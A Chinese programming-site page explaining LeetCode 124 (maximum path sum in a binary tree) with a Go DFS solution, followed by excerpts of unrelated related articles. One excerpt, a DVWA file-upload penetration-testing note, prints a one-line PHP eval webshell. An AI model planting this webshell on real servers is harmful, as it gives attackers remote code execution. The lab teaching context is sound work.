leetcode124 二叉树中的最大路径和-dp

题目

二叉树中的 路径 被定义为一条节点序列,序列中每对相邻节点之间都存在一条边。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点,且不一定经过根节点。

路径和 是路径中各节点值的总和。

给你一个二叉树的根节点 root ,返回其 最大路径和 。

示例

输入:root = [-10,9,20,null,null,15,7]
输出:42
解释:最优路径是 15 -> 20 -> 7 ,路径和为 15 + 20 + 7 = 42
在这里插入图片描述

解析
func maxPathSum(root *TreeNode) int {ans := math.MinIntvar dfs func(*TreeNode) intdfs = func(node *TreeNode) int {if node == nil {return 0 // 没有节点,和为0}leftMaxVal := dfs(node.Left)                         // 左子树最大链和rightMaxVal := dfs(node.Right)                       // 右子树最大链和ans = max(ans, leftMaxVal+rightMaxVal+node.Val)      // 两条链拼成路径return max(max(leftMaxVal, rightMaxVal)+node.Val, 0) // 当前子树最大链和}dfs(root)return ans
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/335737.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

el-upload上传文件使用http-request方法,formdata传集合List到后台

el-upload上传文件 前言1、使用el-upload上传文件1.1代码演示1.2回显列表2、formdata传集合List到Springboot后台前言 在使用el-upload上传文件,会遇到必须使用:action="upload_url"远端链接的问题,本章我们讲解怎样不适用远端链接,通过上传获取到本地的file文件…

AI重塑保险业未来:机器学习在风险评估、欺诈检测与客户服务中的深度应用

🧑 博主简介:阿里巴巴嵌入式技术专家,深耕嵌入式人工智能领域,具备多年的嵌入式硬件产品研发管理经验。 📒 博客介绍:分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向…

技术架构设计指南:从需求到实现

技术架构是软件系统的骨架,它决定了系统的性能、可靠性、扩展性等关键特性。本文将介绍技术架构设计的一般步骤和方法。 第一步:需求分析 在设计技术架构之前,首先要对系统需求进行全面深入的分析。这包括功能需求、非功能需求(如…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

一个生动的例子——通过ERC20接口访问Tether合约

生动的例子 USDT&#xff1a;符合ERC20标准的美元稳定币&#xff0c;Tether合约获得测试网上Tether合约地址通过自己写的ERC20接口访问这个合约 Tether合约地址&#xff1a;0xdAC17F958D2ee523a2206206994597C13D831ec7 IERC20.sol // SPDX-License-Identifier: GPL-3.0pra…

K8s service 进阶

文章目录 K8s service 进阶Service 工作逻辑Service 具体实现Service 资源类型ClusterIPNodePortLoadBalancerExternalName Service 与 EndpointEndpoint 与 容器探针自定义Endpoint Service 相关字段sessionAffinityexternalTrafficPolicyinternalTrafficPolicypublishNotRead…

【微机原理及接口技术】可编程计数器/定时器8253

【微机原理及接口技术】可编程计数器/定时器8253 文章目录 【微机原理及接口技术】可编程计数器/定时器8253前言一、8253的内部结构和引脚二、8253的工作方式三、8253的编程总结 前言 本篇文章就8253芯片展开&#xff0c;详细介绍8253的内部结构和引脚&#xff0c;8253的工作方…

C++STL容器系列(三)list的详细用法和底层实现

目录 一&#xff1a;介绍二&#xff1a;list的创建和方法创建list方法 三&#xff1a;list的具体用法3.1 push_back、pop_back、push_front、pop_front3.2 insert() 和 erase()3.3 splice 函数 四&#xff1a;list容器底层实现4.1 list 容器节点结构5.2 list容器迭代器的底层实…

基于51单片机的交通灯设计

一.硬件方案 本设计能模拟基本的交通控制系统&#xff0c;用红绿黄灯表示禁行&#xff0c;通行和等待的信号发生&#xff0c;还能进行倒计时显示。按键可以控制禁行、深夜模式、复位、东西通行、南北通行、时间加、时间减、切换等功能。共四个二位阴极数码管&#xff0c;东南西…

人工智能初识

&#x1f31e;欢迎来到人工智能基础的世界 &#x1f308;博客主页&#xff1a;卿云阁 &#x1f48c;欢迎关注&#x1f389;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f31f;本文由卿云阁原创&#xff01; &#x1f4c6;首发时间&#xff1a;&#x1f339;2024年5月1…

C#多线程同步lock、Mutex

C#使用多线程可以通过System.Threading命名空间下的Thread类来实现 lock和Mutex用于实现线程同步的机制&#xff1a; 上代码&#xff1a; class People{public People(int idd){id idd;}public int id;public int age;}class TestHelper{public TestHelper() { }List<Peo…

uniapp h5项目切换导航栏及动态渲染按钮颜色

1.效果图 2.html,动态渲染按钮样式---三元判断 <!-- 切换栏 --><view class"statusList"><block v-for"(item,index) in list" :key"index"><view class"swiper-tab-list" :class"current item.id?activ…

【STL】C++ stack(栈) 基本使用

目录 一 stack常见构造 1 空容器构造函数&#xff08;默认构造函数&#xff09; 2. 使用指定容器构造 3 拷贝构造函数 二 其他操作 1 empty 2 size 3 top 4 push && pop 5 emplace 6 swap 三 总结 一 stack常见构造 1 空容器构造函数&#xff08;默认构造…

西储大学数据集学习

数据集下载地址&#xff1a;CWRU凯斯西储大学轴承数据数据集——附&#xff1a;下载链接_西储大学轴承数据集下载-CSDN博客 最近研究故障诊断&#xff0c;先对使用比较多的西储大学数据集研究。以资料【1】中的内容展开研究。 1、轴承的结构 轴承分为外圈、内圈、保持架和滚珠…

202474读书笔记|《我自我的田渠归来》——愿你拥有向上的力量,一切的好事都应该有权利发生

202474读书笔记|《我自我的田渠归来》——愿你拥有向上的力量 《我自我的田渠归来》作者张晓风&#xff0c;被称为华语散文温柔的一支笔&#xff0c;她的短文很有味道&#xff0c;角度奇特&#xff0c;温柔慈悲而敏锐。 很幸运遇到了这本书&#xff0c;以她的感受重新认识一些事…

端口扫描利器--nmap

目录 普通扫描 几种指定目标的方法 TCP/UDP扫描 端口服务扫描 综合扫描 普通扫描 基于端口连接并响应(真实) ​ nmap -sn 网段(0/24)-sn 几种指定目标的方法 单个IP扫描 IP范围扫描 扫描文件里的IP 扫描网段,(排除某IP) 扫描网段(排除某清单IP) TCP/UDP扫描 -sS …

windows系统电脑外插键盘驱动出现感叹号或者显示未知设备,键盘无法输入的解决办法

笔记本外插的键盘不能用&#xff0c;鼠标可以使用。 查找故障&#xff0c;结果打开设备管理器看到键盘那项里是一个的黄色惊叹号显示未知设备&#xff01;[图片]如下图所示 其实解决办法很简单&#xff0c;不要相信网上的一些博主说删除什么注册表&#xff0c;我开始跟着他们操…

C++笔试强训day36

目录 1.提取不重复的整数 2.【模板】哈夫曼编码 3.abb 1.提取不重复的整数 链接https://www.nowcoder.com/practice/253986e66d114d378ae8de2e6c4577c1?tpId37&tqId21232&ru/exam/oj 按照题意模拟就行&#xff0c;记得从右往左遍历 #include <iostream> usi…

React基础知识笔记

Reat简介 React&#xff1a;用于构建用户界面的 JavaScript 库。由 Facebook 开发且开源。是一个将视图渲染为html视图的开源库 第一章&#xff1a;React入门 相关js库 react.development.js &#xff1a;React 核心库react-dom.development.js &#xff1a;提供 DOM 操作的…

【分享】3种方法取消PPT的“限制保护”

PPT如果设置了有密码的“只读方式”&#xff0c;每次打开PPT&#xff0c;都会出现对话框&#xff0c;提示需要输入密码才能修改文件&#xff0c;否则只能以“只读方式”打开。 以“只读方式”打开的PPT就会被限制&#xff0c;无法进行编辑修改等操作。那如果后续不需要“限制保…